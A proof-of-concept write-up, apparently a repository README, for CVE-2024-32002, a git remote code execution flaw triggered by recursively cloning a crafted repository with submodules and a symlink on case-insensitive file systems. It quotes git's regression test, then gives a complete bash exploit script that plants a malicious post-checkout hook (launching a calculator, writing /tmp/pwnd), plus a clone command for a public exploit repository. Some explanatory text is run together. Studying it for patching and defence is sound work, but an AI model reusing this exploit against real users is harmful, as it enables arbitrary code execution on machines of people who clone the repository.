
CVE-2024-32002 POC
Contributors
This vulnerability is a Remote Code Execution (RCE) vulnerability that occurs when cloning a git repository containing submodules on case-insensitive file systems such as Windows and macOS. RCE is a remote code execution vulnerability that allows an attacker to execute arbitrary commands on the target system, making it a very critical vulnerability.
A/modules/x and a/modules/x are treated as the same path. The vulnerability is triggered by utilizing this characteristic along with symbolic links.
git config --global core.symlinks false is set, the attack does not work.builtin/submodule--helper.cdir_contains_only_dotgit function: Checks if the directory contains only .git files or also other directories/files, and returns an error if there are other files or directories.
clone_submodule function: Before cloning, checks if the submodule directory exists and is empty.
t/t7406-submodule-update.shtest_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
protocol.file.allow always.core.symlinks true.tell_tale_path is used to verify whether the RCE has worked properly.git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
post-checkout.hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
captain.A/modules/x and commits.a pointing to .git.test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
Git has hooks that allow scripts to be executed automatically when certain events occur. They are located in the .git/hooks directory.
post-checkout is a script that runs after a checkout.

The process is as follows:
a pointing to .git is created in the cloned repository git_rce.a/modules/x instead of A/modules/x.a points to .git, /modules/x is created under .git and y/hooks/post-checkout is created.git_rce/.git/modules/x/y/hooks/post-checkout is automatically executed, causing RCE.⚠️Warning: Do not use this vulnerability maliciously!
git clone --recursive https://github.com/Roronoawjd/git_rce.gitNote: On Windows, you must open cmd or bash shell with administrator privileges to run.